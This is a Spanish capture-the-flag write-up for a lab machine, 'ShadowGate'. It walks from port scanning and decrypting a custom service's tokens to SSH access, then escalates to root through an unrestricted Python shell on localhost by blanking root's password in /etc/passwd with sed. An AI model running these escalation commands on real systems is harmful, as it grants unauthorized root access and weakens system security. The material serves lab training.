Write-ups

Resolución del CTF ShadowGate


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.

nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

Servicios relevantes identificados:

22/tcp (SSH), 8080/tcp (HTTP – Werkzeug/Python), 56789/tcp (servicio personalizado).

Enumeración del servicio personalizado (56789)

Interactuamos directamente con el servicio para analizar su comportamiento y mensajes.

nc 192.168.0.100 56789

El banner sugiere el uso de la cadena n0cturne. Al enviarla, el servicio devuelve múltiples cadenas en Base64.

echo 'YzRmN2QzNQ==' | base64 -d

La primera cadena decodifica siempre a c4f7d35. El resto son bloques de 16 bytes, consistentes con AES-128. Generamos la clave aplicando SHA-256 al valor fijo.

echo -n 'c4f7d35' | sha256sum

Al descifrar repetidamente los bloques en modo ECB, el patrón constante obtenido es v4u1tgx9, que utilizamos como identificador válido.

Enumeración y explotación web (8080)

Enumeramos rutas accesibles mediante fuerza bruta y detectamos el endpoint /login, que requiere método POST.

curl -X POST http://192.168.0.100:8080/login -d "username=v4u1tgx9"

La respuesta incluye la cabecera X-Shadow-MFA, indicando un segundo factor requerido. Continuamos enumerando y localizamos el endpoint /verify.

curl -X POST http://192.168.0.100:8080/verify -d "username=v4u1tgx9&token=TOKEN_MFA"

Tras validar usuario y token, el servicio 56789 cambia su comportamiento y entrega credenciales SSH.

Acceso al sistema

Obtenemos credenciales válidas y accedemos por SSH.

ssh [email protected]

Desde la sesión de usuario identificamos un servicio local escuchando en 127.0.0.1:4444.

ss -tulnp

Escalada de privilegios

El servicio local expone un intérprete Python sin restricciones. Nos conectamos directamente desde la máquina comprometida.

nc 127.0.0.1 4444

Ejecutamos comandos arbitrarios con privilegios de root. Verificamos el contexto y escalamos permanentemente.

import os; os.system("id")
import os; os.system("sed -i 's/root:x:/root::/' /etc/passwd")

Accedemos como root sin contraseña y completamos la escalada.

su
cat /root/root.txt

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *